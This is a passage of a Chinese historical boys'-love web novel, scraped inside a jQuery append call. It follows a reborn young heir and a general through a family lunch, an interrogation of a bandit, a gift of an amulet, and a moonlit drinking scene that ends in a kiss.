$(''#content'').append('' 家父,还有一位叔父和一个尚未及笄的堂妹。” 至于父亲在牢中,叔父正被朝廷通缉这件事,他虽未提,但想来锦夫人也定有所耳闻。 “唉,也是个可怜的孩子。” 陆锦轻叹一声,忽而问:“可曾婚配?” 叶川遥心中又一咯噔。 这是怕直接赶他走会落人口舌,所以给他说门亲,让他不得不离开将军府? 不愧是大户人家的夫人,果然手段了得! 可此事撒不了谎,若已有婚配却还赖在将军府,锦夫人岂不更要赶他走? 他摇摇头,只能如实道:“不曾婚配。” “那……可有心上人?” “姨母,”沈翾打断陆锦的问话,慢条斯理地岔开话题,“近来家中一切可好?” “哦,”陆锦笑笑,顺着话道,“一切都好,只是有些个泼皮不省心,前几日竟把先生给气病了!” “若我不把他带出来,这会儿怕是已经被他爹给打死了。” “母亲!” 这个年纪的少年最要面子,被自己母亲揭了短,陆清玖羞红了脸,急喊出声。 “怎么,你既敢做还怕我说?” “这当着外人面呢,您能不能给我留点面子!” 外人? 叶川遥筷子顿了顿,又继续低头吃饭,好似没听见。 陆锦收起笑:“就你从前惹的那些祸,这府里还有谁不知道的?” “不想我说,那你倒是好好读书啊!” 她说完看向叶川遥,嘴角又挂起笑:“阿遥平日里可喜欢读书?” 叶川遥抬起头,谦恭道:“读过一些。” 陆锦点点头:“那日后可是要入朝为官?” “这……还未曾想过。” 其实父亲曾同他聊过,及冠之后,便让他去参加御史台的遴选,从御史之职开始历练。 圣贤书读了多年,总要有用武之地才不算辜负。 陆锦自顾自叹声道:“若能入朝做个文官倒也不错。省的整日刀尖搏命,让人提心吊胆。” 叶川遥看向沈翾,见他眸色淡淡,不知道在想什么。 他动了动眼珠,笑着道:“我倒是十分羡慕将军。” “哦?羡慕他什么?”陆锦追问。 叶川遥眼眸发亮,清了清嗓子,慷慨陈词: “试问哪个好男儿不想驰骋疆场,大杀四方?” “亲退外敌,开疆拓土,将敌人如蝼蚁般狠狠踩于脚下,何其畅快!” “护得百姓安康,何其慈悲!” “文官纵然安稳,但如今天下割据,分崩离析,礼义仁善又有何用?” “唯有同将军这般纵马执剑,才能护我大盛海晏河清!” “……” 铿锵有力的声音环绕耳边。 桌上几人同时看向叶川遥,四下寂静。 “……” 过了会儿,明烛用力拍拍手:“说得好!” 陆清玖不屑地撇撇嘴:“马屁精。” “就你这弱不禁风的模样,还想纵马执剑?也不怕摔断了腿!” 沈翾漫不经心移目过去,陆清玖吓地立马闭嘴,埋头直往嘴里扒饭。 叶川遥顾及锦夫人,没有反驳,只偷偷狠狠剜了一眼陆清玖。 一旁的陆锦笑着点点头,眼里浮现几分赞赏之色。 “没想到世子小小年纪,心中竟有如此丘壑。不错,是个好孩子!” 沈翾眸光深沉地看向身旁之人,须臾后轻轻勾了勾唇。 见几人俱是神色柔和,叶川遥弯起好看的眉眼,心中暗喜。 看来马屁还真拍对了! 那是不是……不会赶他走了? 嘿嘿,真是机智如他呀! 21、第21章 几人聊得欢喜,午膳也吃得其乐融融。 见陆锦并无赶人之意,甚至言语间对他颇为喜爱,叶川遥这才放下心来。 吃饱喝足,颇有眼力地回了云水阁,留他们一家人说些体己话。 陆清玖闲坐不住,拉着明烛跑去院子切磋,膳厅内唯余沈翾陆锦二人。 陆锦望向那道消失的欢快身影,不禁莞尔道:“这孩子真不错,干净通透,性子也好,难怪你会喜欢。” “姨母误会了,”沈翾言语淡淡,与平常并无两样,“世子只是暂住府上。我与他,并非坊间传闻那般。” 陆锦了然一笑:“怎么,跟姨母还不肯说实话?” “你看世子那眼神,可不像是什么关系都没有的。” “我……”沈翾难得有些语塞,一时竟不知该从何解释。 在陆锦印象里,他这个外甥自小便是一副少年老成的模样。 独立坚强,意气风发,小小年纪便独自撑起沈家,撑起这个偌大的将军府。 她还是第一次见他同此刻这般,笨拙茫然,似单纯懵懂的少年人。 陆锦温合莞尔一笑,语重心长道:“翾儿,你一向有自己的主意,姨母不好过问太多。” “只是这些年你总是一个人,若身边能有个知心人陪着,难过之时听你诉诉苦,安慰几句,倒也不错。” “不要跟自己的心过不去。” 她叹口气,轻声道,“人这一辈子啊,几经风霜,万般皆是虚妄,唯有遵从本心,才算没有白来这世上一遭。” 沈翾垂眸思忖陆锦所言,心底方寸间如春日野草,正缓缓蔓延滋长。 他沉默片刻,若有所思应道:“姨母的话,我记下了。” “好了,不说这个。” 陆锦知道,自己这个外甥虽年纪轻轻便位高权重,于战场和朝堂上也颇有手段,但独独未经情事,想来一时还理不出头绪。 她不再逼他,正色几分道:“还有件重要的事要同你说。来京的路上,我遇见一个自称来自飞龙寨的人。” “当时他正打劫一个商贾,恰巧被我拦下,现下人就关在柴房里。” 沈翾沉了沉眸光:“我去看看。” 陆锦嗯了声:“去吧,我有些乏,就先回房了。” “好,姨母好生歇息。” 沈翾独身来到柴房。 侍卫打开门,屋内被关之人大骂两声,遂从地上站起:“你们是什么人,敢绑爷爷我,知不知道爷爷是谁?” 沈翾走上前,眼底幽深阴翳,声音里却含着几分笑意:“那你说说,你是谁?” “哼,飞龙寨,听说过吗?”那人横眉轻挑,歪着嘴洋洋得意道,“临州城第一大山寨,连官府都不敢惹,你们就不怕死吗?” “飞龙寨……”沈翾一字一顿重复着,嘴角扯出一道意味不明的弧度,“确实不好惹。” “不过……” “你如何能证明,你是飞龙寨的人?” 那人撇嘴笑笑:“行,今日爷爷就让你开开眼。” 说话间从腰间扯下一块木牌,单手得意举起:“瞧见这个没,这可是飞龙寨独有的腰牌,见牌如见人!” 沈翾眸光微凛。 见他闭口不言,那人笑意猖狂更甚:“哼,怕了吧?怕了还不赶紧送爷爷走!” “不急,”沈翾不紧不慢道,“走之前给你讲个故事吧。” 那人莫名其妙,却又不由自主问:“什么故事?” 沈翾轻踱脚步,语气听不出波澜:“八年前,飞龙寨劫了兵部运往陵川前线的粮草,导致前线战败,陵川失守,壹字军死伤大半,元气大伤。” “朝廷下令剿了飞龙寨的老巢,全寨一千三百八十五人一夕俱灭,尸骨如今还堆在乱葬岗里。” 他看向对面面无血色之人,嘴边溢出一声哼笑:“倒没想到,竟还有漏网之鱼。” 那人早已吓得脸色苍白,全身不住地发抖,嘴唇打着颤:“什么…什么漏网之鱼,你少唬人!” 沈翾不屑道:“来人,把此人送去衙门。” “等等别别别!我胡说的,胡说的!” 那人见沈翾气度不凡,又听他如此说,早已吓破胆,丝毫不敢再装腔作势,忙不迭地解释。 “小的根本不是飞龙寨的人,只是借个名头混口饭吃,从前那些事可跟小的没有干系啊!求大爷饶命!” 沈翾嗤笑一声:“腰牌在此,还想否认?” 那人看向手中木牌,方才还爱不释手,此刻却如烫手山芋。 忙道:“哎呀,这个是我偷的,偷的!” “何处所偷?” “半月前在一个男人身上偷的。他喝多了,说自己从前是飞龙寨的二当家,我听着威风,就给偷了来。本想借着名头混口饭吃,他妈的敢坑老子……” “那人叫什么名字?”沈翾沉声问。 “不知道名字,只知道姓罗,听别人都叫他罗二爷。” “我说的都是真的,这个破牌子真的跟我没有关系啊!求大爷放过小的吧!” “小的家中还有老母妻儿,可死不得啊!” 罗二爷…… 沈翾并未听过这个名字,不知是否化名。 当年运粮车队被劫,朝廷派重兵围剿飞龙寨,一千多条人命,一夜之间尽数化为尸山血海。 事后朝廷并未仔细盘查,难道当年……真的还有活口留下? 这些年他一直在查飞龙寨的行踪,可惜毫无进展,如今终于浮现一丝线索。 沈翾压下心底错综复杂的情绪,眼神幽暗看向那人:“你说的这个罗二爷,如今人在何处?” “小的不知啊,小的就是跟他喝了顿酒!” 那人见沈翾目光似要杀人,忙改口道:“哦哦我想起来了,那日他喝多了,提了句陵川,说那边有他的好兄弟!” 沈翾嗓音愈发沉了沉:“你确定,他说的是陵川?” “对对对,”那人忙点头,“小的以性命担保,他说的就是陵川!” 沈翾向前一步,两根手指用力扼住对方喉咙,嗓音如彻骨寒冰,听得人浑身一颤。 “你最好说的都是真的,否则……” “是真的!”那人气息渐弱,喉咙里艰难挤出声音:“小的所言……句句属实……” 沈翾松手将人甩开,吩咐道:“把人看好。” 他半刻不再耽搁,即刻回房飞鸽传书南桑,以尽快搜寻罗二下落。 另一边,叶川遥一个人漫无目的在园子里闲逛。 因着担心父亲,心里一团乱,便走到藏书楼,想寻几本书带回去静静心。 将军府的藏书楼汇集天下名籍,品类齐全,浩如烟海。 而其中又以兵书舆图居多。 叶川遥挑拣几本,目光游移之时瞥见《陵川战记》,便信手取了来。 他小心翻看,目光渐渐凝在一处。 书中记载了这些年来发生在陵川地界的大小战事。 就算不曾亲眼所见,字里行间却能让人想象出当时画面。 是金戈铁马,气吞山海。 亦是马革裹尸,血流成河。 书页空白处写满批注,字字工整,详尽周全。 叶川遥的脑海里不禁浮现出沈翾端坐在桌案前提笔的模样。 不知那时,他是怀着什么样的心情写下这些。 又是如何摒弃伤痛,重整旗鼓,让万千将士终不至枉死。 叶川遥看得仔细,眉间眼底不自觉地漫上一缕伤痛。 身后何时站了人竟也不知。 直到熟悉的嗓音落至耳畔,他才恍然回神,侧过头去看身旁的人。 “在看什么,这么入神?”沈翾垂眸,视线落在翻开的书页上。 叶川遥将书合上,唇角扯出一丝不明显的弧度:“随便看看。” 沈翾抬眼,略感意外:“世子喜欢兵书?” 叶川遥点点头,并未隐瞒:“嗯,只是从前看得不多。” 父亲想他做个文官,不求封侯拜相,只求一世安稳。 平日里先生教的也多是辅政之道,鲜少论及兵法。 他虽自己寻了些兵书,却苦于无人指点,只得自行参悟。又未有机会得见实战,终是纸上谈兵。 沈翾轻笑,嗓音里漫上几分平日里少有的温和:“世子既喜欢,那便多挑几本,一会儿让人送去云水阁。” “好。”叶川遥心不在焉地应了声。 “将军,你……” 话未说完忽地顿住,一时不知该如何开口。 “嗯?”沈翾疑惑出声。 叶川遥深吸一口气,嘴里喃喃道:“没什么,就是……” 心疼你。 一想起那些衣食无忧、美梦安然的日子里,他却在战场上刀尖舔血,一个人背负着朝廷使命和几万条将士的性命,叶川遥就心疼得快喘不过气。 同旁人一样,从前他并不觉得这有什么。 身为大将军,带兵打仗,本就是职责所在,理所应当。 且行军打仗这件事离他们太过遥远。 于他们这些世家子弟而言,再惨烈的战事,也不过闲情之时的几句感慨罢了。 又有谁会真的在意? 可如今看着沈翾,他却再也无法心安理得地享受那些岁月静好。 沈翾家世显赫,人又生得英俊潇洒,他原本也可以只做个无忧无愁的世家公子。 也可以温润如玉,纤尘不染。 可他却为了这天下过得那样苦,刀尖舔血,到头来还要遭朝廷忌惮,奸人陷害。 凭什么? 叶川遥压下心底酸楚,低头将颈间之物取下,置于掌心,递到沈翾面前。 “将军,这个送你,当作我给将军的谢礼。” 沈翾垂眸看向白皙手掌上的平安扣。 通透莹润,应是戴了许久。 他停顿一息,看不出情绪,只缓缓道:“既是贴身之物,又如此贵重,世子还是仔细收好。” 叶川遥闻言抿唇蹙眉,声音低了下去:“将军可是嫌弃?” “……” 沈翾看着对面一脸落寞的人,喉结轻滚:“我并非这个意思。” “既不嫌弃,将军安心收下便是。” 叶川遥抓起沈翾的手,不由分说将平安扣塞进其掌心,十指交叠。 上挑的眼尾染上三分笑意。 “往后就让它保佑将军,所向披靡,一世无忧!”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 22、第22章 斜阳破窗而入,光影重重。 沈翾立于书架前,垂眸凝视面前的明媚笑眼。 掌心温度如炙阳般热烈滚烫,灼得心口都燥热起来。 二人从未离得这样近,近到连眼前人下颌那颗平日里不曾留意的小痣都清晰可辨。 叶川遥一直未松手,两人就这样一高一低地对视着,双双失了神。 许久后,沈翾低眸移向覆在自己手上的纤纤玉指,开口温声道了句:“那便多谢世子了。” 叶川遥遂弯起眉眼笑开,竟比自己收到重礼时还要高兴。 他这才将手放下,不忘叮嘱道:“此物曾得大师开光,十分灵验,将军可一定要仔细收好!” 沈翾看向自己掌心之物,缓缓收力攥紧,复又抬眼看向叶川遥,末了应了声好。 叶川遥莞尔一笑,看上去心情颇为愉悦,声音也甚是轻快。 “那我去挑书啦!” “将军既开口,我可要多挑几本,将军应该不介意吧?” 沈翾轻笑:“世子随意便好。” 叶川遥兴奋地穿梭在书架前,一本一本仔细挑着。 “这本是排兵布阵……” “这本是用人之法、治军之道……” “这一本讲的是地势之利……” 不愧是将军府,此处的每一册藏书都字字珠玑,令人拍案叫绝。 叶川遥挑得眼花缭乱,每拿起一本便不舍得放下。 不禁哀怨叹气:“做抉择可当真是件难事。” “算了,我还是来藏书楼看吧。” 沈翾牵起唇角,替他解了难题:“既无法抉择,全都带回去便是。” “来人,将方才世子看过的书册都仔细收好,一并送去云水阁。” “啊?”叶川遥半推半就,“会不会太多了些,这怎么好意思呢!” 嘴上说着,手却诚实地又探上书架。 沈翾不忍轻笑:“世子不必客气。” “世子重礼相赠,这些书册远不及半分。世子既不嫌弃,安心收下便是。” “那好吧,”叶川遥不再推拒,心满意足地收下。 “等一下我若把这藏书楼搬空了,将军可不许后悔!” 沈翾轻笑应下,便立在一旁看着他忙活。 俊逸公子眉眼染笑,那些岁月沉积下死气沉沉的书册,此刻仿佛也漫出层层暖意,终于不再似从前一般冰冷。 …… 明月高悬,洒了满地银光。 叶川遥无甚睡意,见今晚月色不错,便起身披了斗篷坐于亭下。 婢女云画很快端了茶和点心来。 明将军吩咐过,世子养尊处优惯了,不可怠慢,定要仔细伺候着。 叶川遥道了声谢,便让她先下去歇着了。 春夜里的风还带着些微凉,发丝轻拂,倒是让人格外精神了些。 后日便是春猎,只要春猎一过,父亲和叔父便能回来。 他们一家人终于得以团聚。 只是以季寒的性格,怕不会善罢甘休。 也不知这个疯子到底在谋划些什么,但愿别再生出什么变数。 待父亲回来,他便也该……离开了吧。 叶川遥轻叹一口气,心里不知为何愈发阴沉焦躁。 直至一声笛音打破空寂,自远方款款而来。 清澈,悠远,却又如万人轻泣,掺杂了几分悲凉。 叶川遥缓缓起身,脚步轻抬,生怕惊扰对方。 寻着声音一步一步靠近,最终驻足于紫云轩与云水阁之间的高墙下。 他静静听着,思绪辗转万千。上一世和这一世的经历在脑海里交替闪现,心绪杂乱。 因着沈翾的介入,这一世许多事都已改变。 能置父亲于死地的账本没有出现,他也没有落入季寒手中。 一切都在往好的方向发展。 不过上一世的沈翾……是什么样子来着? 抄家那日之后,他与沈翾其实还曾见过一面。 那夜沈翾不知在抓什么要犯,带着部下大张旗鼓地全城搜捕。 叶川遥当时带了几个人,正埋伏在大理寺外,打算趁守卫换班之际去大理寺的监牢劫狱。 结果被沈翾的人这么一闹,竟生生错过了时机。 当时他心里恨极了沈翾,恨不得在那人心口插上一刀。 而沈翾只是冷冷地盯着他,什么也没说,随后便扬长而去。 一惯的冷静淡漠。 却没想到,那竟是前世两人最后一次见面,甚至连话都没说上一句。 不过那时,就算有机会说话,他大概也只会把沈翾痛骂一番吧…… 而如今,他们二人仅一墙相隔,同住一处,当真如一场梦。 是老天眷顾可怜他,所以才给他重来一次的机会吗? 一曲尽,余音消,叶川遥从回忆里骤醒,心神渐渐回笼。 他竟也还未睡下。 既如此,不如……去偷偷瞧一眼? 叶川遥抬头看向高过自己头顶的石墙,蓄力一跃,踉跄一下后终于稳稳立于墙头。 “呼,好险,还好晚饭吃得不多。” 一口气刚呼出,一转头却见沈翾独自一人坐于桃花树下,正仰着头好整以暇地看他。 乱花迷人眼,落英缤纷竟不及树下之人半分。 “哈哈好巧呀,”叶川遥露出一抹殷勤灿笑,朝沈翾摆摆手,声音明亮:“这么晚了,将军怎么一个人在此?” 沈翾慢条斯理地往自己面前的酒盏里斟满酒,一饮而尽后反问道:“那世子呢,深夜翻墙,又是意欲何为?” 墙上之人嬉皮笑脸道:“夜半无聊,想试一下,看看近日来武艺是不是有所精进。” “好像还可以哈,呵呵呵……” “嗯,”沈翾勾了勾嘴角,看着他道,“还不下来?” “喔。” 叶川遥轻身一跃而下,双手拍拍衣摆,抬脚走到沈翾身侧曲膝坐下。 又自己拿了酒杯,也斟满酒。 “一个人喝多没意思,我陪将军吧!” 沈翾勾唇应了声好,再未开口。 自顾独饮,兴致缺缺,眉眼间疲色尽显。 叶川遥知他心中压抑,就算过了八年,那些过往于他而言,依旧沉重如旧。 他看向沈翾眉眼间哀色,心口也跟着一紧。 与其压抑隐忍,兀自神伤,还不如痛快地将其发泄出来。 他思忖一瞬,朝沈翾凑近些,仰着脸问:“将军可是有心事?” 沈翾淡淡道了声没有,看上去并不想多谈。 还真是个闷油瓶。 这惜字如金的毛病能不能改改? 叶川遥不肯罢休。 他替两人倒了酒,嗓音温暖轻柔:“将军,能同我说说,当年陵川一战,究竟发生何事吗?” 沈翾指尖微顿,意味不明黑眸轻移:“世子为何想知道?” 一杯清酒入腹,叶川遥缓缓道:“我虽言微人轻,没什么作为,但也知道边境守军意味着什么。” “当年那一战,我军本该得胜,却因粮草不足败给北渊,实在令人心痛。” 他话音微顿,幽声道:“牺牲的将士们不该被遗忘。而真相,更不该被掩埋。” “真相?” 沈翾饮尽杯中酒,哼笑一声,“飞龙寨劫了粮草,前线供给不足,战败不可避免。” “众所周知的事,又何来什么真相?” 叶川遥看着他,将心中所想尽数吐露。 “飞龙寨虽为盗匪,势力庞大,但平日里从不与官府作对,为何会突然如此反常,竟敢劫兵部的粮草?” “况且,劫便劫了,为何还要留下兵部侍郎林征这个活口,白白授人把柄,生怕别人不知道是他们干的?” 沈翾看向他,眸色幽深如墨,缓缓道:“这些事不是世子该想的。” 见他不愿敞开心扉,叶川遥无奈叹口气,不再追问,只一杯接一杯地倒酒,十分殷勤。 沈翾这个人总是这样,一板一眼,冷静自持,好像习惯了自己解决一切问题,什么事都往心里藏。 可叶川遥偏想看看,铜墙铁壁般的防备下,究竟藏着怎样的一颗心。 “来,将军,我敬你!” 沈翾心中郁结,便也未推拒。叶川遥倒多少,他便喝多少,配合得很。 酒过三巡,叶川遥将自己灌了个神思恍惚,才终于见沈翾露出几分醉意。 不禁有些嗔怨:“将军,你的酒量……为何如此好?” 他那点心思沈翾早已心中了然,却给他留了几分面子,并未点破。 只笑了笑,漫不经心道:“是你酒量太差。” “嗯?你说谁,谁酒量差?” “我酒量……才不差,本少爷能喝着呢……” “不信你看!” 说着便仰头将杯中酒一饮而尽,作势还要继续倒。 沈翾伸手将杯子夺走,无奈道:“别喝了。” “不是说要陪我,再喝下去,你怕是要连话都说不出了。” 叶川遥眨眼思考一瞬,随即点点头,眉眼弯弯,甚是乖巧地道了声好。 二人相对无言。 沈翾漫不经心低头慢饮,叶川遥则撑着有些犯晕的脑袋,就那样直勾勾地盯着眼前的人。 皓月当空,落下斑驳疏影。 许久后,树下之人沉声开口:“世子可看够了?” 叶川遥恍惚中颇为诚实地晃了晃头:“好看,看不够……” 沈翾无声而笑。 小少爷看来是真醉了,他一个皮糙肉厚之人,哪里好看? 而真正好看之人此时却浑然不觉,正歪着头没心没肺地笑。 桃花绯红,于夜色中翩翩飘落,转了几个弯,最后停于墨色发间,随着银白发带轻轻颤动。 桃色灼灼,竟显黯然无色。 沈翾黑眸微闪,抬手触上柔软发丝,将那花瓣小心拈起,没来由地轻笑一声:“世子不如回去多照照镜子。” “嗯?”叶川遥不明所以,轻语喃喃,“大半夜的,照镜子做什么?” 沈翾倾身向前,眉眼轻抬,眼中流波如春水潋滟,喉结轻滑而下。 勾着唇低语道: “这世间,哪还有比世子更好看的人?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 23、第23章 头顶上方拢过暗影一片。 沈翾的话让叶川遥倏地瞪大眼,酒意骤醒几分,细长的睫毛微颤轻碰,眼底间尽显不敢置信。 一向少言寡语之人竟也夸他好看。 还这般温柔…… 他莫不是真醉了,竟生出幻觉来了? 叶川遥下颌微仰,玉容露出几分错愕懵懂,微微泛红的桃花眼不由自主地眨了又眨。 他自少时便多闻称赞,早已无甚感觉。 可沈翾的话却让他莫名生出几分欢喜。 好似这副容貌终于有了一丝存在的价值。 咫尺间气息零落,脸上灼热似又更甚几分。 叶川遥抿唇提气,目光不自觉移至那两片微微上挑的薄唇上。 若就这样直接亲上去,也不知沈翾会作何反应。 会不会揍他? 不过既是幻觉,想来亲一下…应该也无妨? 叶川遥默默思忖着,片刻后,兀自摇摇头。 还是算了。 好不容易重生,若因为轻薄一个男人再被宰了,未免也太过得不偿失。 他克制住自己蠢蠢欲动的贪念,一手撑头,另一只手向前轻轻探去,鬼使神差落在沈翾紧抿的双唇上。 指尖触感柔软、微凉,让人生出一种陌生又新奇的感觉。 好似有什么东西自指尖缓缓涌向全身,最后在心底蔓延开来。 叶川遥在那唇上停留片刻,又缓缓移向鼻尖、眉梢,仔细描绘着眼前凌厉又柔软的轮廓。 而沈翾竟不曾躲开,就那样垂眸俯身,任由他肆意而为。 月色弥漫,月下之人如临绮梦。 叶川遥顿首抬眸,遂与那道深邃复杂的目光碰撞相接,为数不多的理智顷刻间化为空白。 不管了,挨揍便挨揍。 他轻阖双目,扬起下巴向前轻轻一探,便与沈翾双唇相贴。 凉凉的,好舒服。 虽一触即分,跳动的愉悦还是袭满全身。 叶川遥窥见沈翾脸上错愕,甚觉稀奇,一时竟忘了害怕,只得逞地笑笑:“嘿嘿,亲到了!” 沈翾弓身颔首,眼中讶异一闪而过。 第一次被人亲,饶是久经沙场的大将军也有些手足无措。 攥了攥拳,嗓音克制道:“世子,你醉了。” “嗯,是醉了。”叶川遥没心没肺地咧了咧嘴,桃花眼轻轻眯起: “醉了真好,醉了…就可以大胆去做…想做的事了,嘿嘿嘿……” 只可惜大将军还是如此镇定,投怀送抱竟也未有半分情动。 不管是无欲无求,还是因着君子之礼,总归都甚是无趣。 也不知,他究竟会喜欢什么样的人… 沈翾倒不至于同一个醉鬼计较。 他稳住呼吸,缓缓直起身,嗓音低沉:“既醉了,便回房吧。” “我才不要!”叶川遥皱起眉,身子歪斜着靠在凭几上,脸上写满了不情愿。 “等春猎一过,我便再不能同将军这般……面对面喝酒了。” “不对,别说喝酒,怕是连见上一面……都难了!” 方才情迷终渐飘散,不消几时又复沉稳端方。 沈翾倒了茶,轻置叶川遥面前,不以为然道:“日后再想喝酒,我陪你便是,有何不可?” “那不一样!”叶川遥摇头摆手,口中含糊不清道:“我想同将军待在一处。” “只有我跟你,两个人……” “我喜欢……喜欢这样。” 沈翾若有所思地看他一眼,仰头将杯中冷酒灌入腹中。 罢了,长夜漫漫,再多待片刻倒也无妨。 夜半凉风袭来,叶川遥满头酒气终于散了几分。 捏起两颗蜜饯塞进嘴里,看着沈翾道:“将军心里有什么烦闷,能说给我听听吗?” “我保证,我现下听完…明日就全忘了,绝不会说予旁人听,将军…只管放心!” 沈翾轻笑,醉成这样,的确不会记得。 他给自己斟满酒,小酌慢饮,须臾过后,漫不经心问:“你想知道当年之事?” “嗯。”叶川遥不假思索。 沈翾望向远处深深空寂,目光如冬夜寒月,空辽冷冽。 沉思片刻,缓缓开口。 “八年前,北渊南侵,父亲带领三万大军赴陵川一战。本是胜券在握,却因粮草被劫而兵力折损。” “破城那日,我赶去支援,却只见尸殍遍野。” “父亲倒在尸山血海中,身上千疮百孔,无一处完好。” 八年了,无数夜深人静的寒夜,他一闭上眼,那些刀枪剑戟下的鲜血便浮现眼前。 父亲的惨状,将士们的痛苦和哀嚎,一切如同梦魇一般,一直跟随着他。 忘不掉,也不敢忘。 叶川遥徒劳地张了张嘴,想说些什么加以安慰,却什么也说不出口,只含着泪怔怔地看着沈翾,胸口如被撕成两半。 而沈翾语气平静,好似在讲一件再平常不过的往事。 “父亲尸骨未寒,陵川城内哀嚎遍野,可皇城内依旧丝竹管弦,笙歌不绝。” “无人在意千里之外的血战,死去的将士们得到的,唯有那微薄的几两抚恤金。” 也许是喝了酒的缘故,沈翾不知不觉竟说了许多话。 他隐忍多年,心中不甘之言从未与人提起,今日却不知怎的,竟同一个局外人说起这些。 叶川遥红透了眼,鼻尖一阵发酸,嘴里却只喃喃地唤着:“将军……” 他心知安慰之言太过苍白。骨肉至亲、数万条将士的性命,并非几句轻飘飘的安慰便能抵消。 那种极致的痛苦,如此血海深仇,非亲身经历,也绝不可能感同身受。 见叶川遥一脸悲痛,沈翾剑眉微蹙,陡生几分悔意。 实在不该同他说这些。 世子年少,本该无忧无愁,何苦将他牵扯进来…… 沈翾疲惫地叹口气,正欲起身将人送回去,却见叶川遥往前凑了几分,看着他道:“沈翾,你知道吗,我从前……真的恨死你了!” 沈翾慢慢抬眼,眸色微敛。 须臾后嘴角自嘲地勾出一抹淡笑,眼底却隐隐浮现阴郁之色。 果然,那些动听之言,不过都是虚与委蛇罢了。 这才是他的真心话。 他恨他。 躁意袭来,沈翾不愿再留。 才方起身,听身旁之人又道:“可如今,我只想你能好好的,我们都好好的……” “家国百姓…固然重要,可你……” “也很重要啊……” 沈翾闻言怔在原地,似有须臾失神。 虽从不后悔自己的选择,也清楚自己要走的路。 但还是第一次有人同他说,他很重要。 他的存在的意义,不仅仅是为国牺牲。 心口升腾起一股肆意流窜的热流。 沈翾看着面前的人,喉结轻轻动了动。 未等他开口,叶川遥突然想起什么,圆目睁大看着他问:“对了,我送你的平安扣呢,你…你戴了没?” 沈翾嗯了声,语气柔软下来。 叶川遥却还不肯罢休,非要亲自查验。 “你让我看一下,我要亲眼看见…才放心……” 沈翾躲开伸向自己胸前的手,凛声道:“世子,你醉了,别闹。” 叶川遥只觉头上昏昏沉沉,本能地抬手圈住沈翾脖梗,让自己不至于倒下。 另一只手顺势探进衣领下的锁骨间,胡乱摸索着。 “哎呀你给我看看嘛,你一个大将军……怎的如此小气……” “我既将东西送了你,又不会再要回来,看看怎么了?” “……” 沈翾当即脸色微变,呼吸都急促起来。 “世子。” “叶川遥!” “喊什么啊!” 罪魁祸首丝毫不觉有何不妥,一边摸,还一边不满道: “世子什么世子,都说了…别叫我世子,你为何就不能…唤我的名字……” “季岩和明烛都唤我阿遥,只有你,只有你…还每日世子世子的,好生分……” 说着说着竟生出几分委屈。 见人现下是真的醉糊涂了,沈翾随口应了声知道,一手将人好生抱着,不至于摔了,一手按住胸前肆意妄为的手。 再摸下去,他怕是真要疯了。 叶川遥不得动弹,这才不得已停下手上的动作。 却只安静了一瞬,忽地仰头,软着嗓音道:“翾哥哥,我想听你……叫我的名字。” “你叫我阿遥,好不好?” 带着浓浓醉意的声音如同洁白松软的羽毛,轻柔中带着些讨好,像在撒娇。 温热的呼吸落在颈间,沈翾像被烫了下,喉结陡然一滚。 今日这境遇,莫不是父亲在天之灵对他不满,故意折磨他吗? 他微微闭眼,深吸一口气,只得妥协道:“好,阿遥。” “你醉了,还是早些回去歇着吧。” “我没醉!” 叶川遥从沈翾胸前抬起头,不服气地踉跄起身,用力端平手臂,磕磕绊绊道,“不信你看,我还能…出拳呢!” “哼,哈……” 沈翾忍俊不禁,伸手接住快要倒向一旁的人,柔声哄着:“好好好,你厉害。” “听话,我先送你回房。” “我不回去,我还要喝呢……” 叶川遥张牙舞爪挣脱几下,忽地趴在沈翾胸前,像是彻底醉了般,嘴里呢喃着唤了声:“翾哥哥……” 沈翾便不再动,任凭身前的人蹭在胸口。 叶川遥终于安分下来,侧脸紧贴坚硬胸膛,闭着眼轻声低语道:“我知你这些年…心里苦,不过无妨……” “以后,有阿遥陪着你。” “好不好?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 24-30 第24章 漫天桃花纷飞摇曳, 疏影微香。 沈翾低头看向那双泛红清眸,心底似丝竹拨动,轻轻一颤。 孑然一身多年, 他早已忘了身边有人陪是什么滋味。 本以为早已习惯,可如今竟也生出几分贪念。 前路漫漫,若得一知心人相伴, 何其幸哉。 虽心知叶川遥当初接近只为利用,那些情话他也从未当真。 可到了如今这一刻, 真假于他而言, 早已无关紧要。 不论所因为何,与君相知, 得君相守, 便已足矣。 许久后, 沈翾终于释然地淡淡一笑。 缓缓应了声:“好。” 身前久久未有动静。 沈翾低头瞧去, 便见怀中之人不知何时已阖上眼,正趴在他胸口睡得香甜。 “……” 小少爷倒是一如既往的随心所欲, 自在得很。 夜深露重,恐吹了风, 沈翾只好将人打横抱起, 大步径直回了住处。 侍卫和婢女见了两人俱是一惊。 他们进府多年, 可从未见将军往房里带过什么人,现下这是…… 几人不敢多问, 只在心里思忖着,日后需得对这位世子更上心才是。 大将军铁树开花, 可是件大喜事呢! 沈翾穿过前厅,披着月色将人一路抱回自己卧房,越过屏风, 轻轻放于榻上。 叶川遥吧嗒吧嗒微微发干的嘴唇,翻了个身,自己寻了最舒服的姿势躺好,嘴里还在自言自语喃喃道: “我会一直陪着你……” 沈翾轻轻坐于榻前,垂眸盯着那张柔和俊逸的面容,心底也跟着软成一片。 这些年他刀尖舔血惯了,身处悬崖之上,从不敢轻信他人。 不过今日那些话,他姑且当作真的。 即便是酒后随口之言,既说了,他便不会再给他反悔的余地。 沈翾于床侧静坐片刻,才伸手将叶川遥颈边发丝轻轻拨开。 清秀面庞白皙如玉。 目光不可自抑移向那两片柔软饱满的唇上,不久前的画面在脑中一闪而过。 年纪不大,撩拨人的本事倒是不小。 沈翾垂眸不语,只默默看着,近乎失神。 直到榻上之人再次呓语出声: “沈翾,你知不知道,我从很早之前,就,就……” 沈翾不着痕迹地将手收回,微俯下身侧耳细听。 等了片刻未有下文,只好顺着话问:“就什么?” 他蹙眉追问,叶川遥却呼吸渐沉,彻底熟睡过去。 沈翾叹口气,兀自轻笑一声。 小醉猫,睡着倒显得更乖些。 他将视线落在床上停留片刻,最后移向叶川遥腰间。 须臾后,将那玉色腰带轻轻解开。 * 叶川遥这一觉睡得极好,精神恢复了七八分,除了额头隐隐作痛,身上反倒轻松不少。 他闭眼用力抻了个懒腰,美美地喟叹一声。 再睁开眼,才恍然怔住。 这是哪里? 如云水阁一般干净素雅,陈设却迥然不同。 他又为何不在自己房里? 叶川遥站起身环视一圈,努力回想着昨夜之事。 哦,想起来了。 昨夜他翻墙去找沈翾,同他喝酒、聊天。 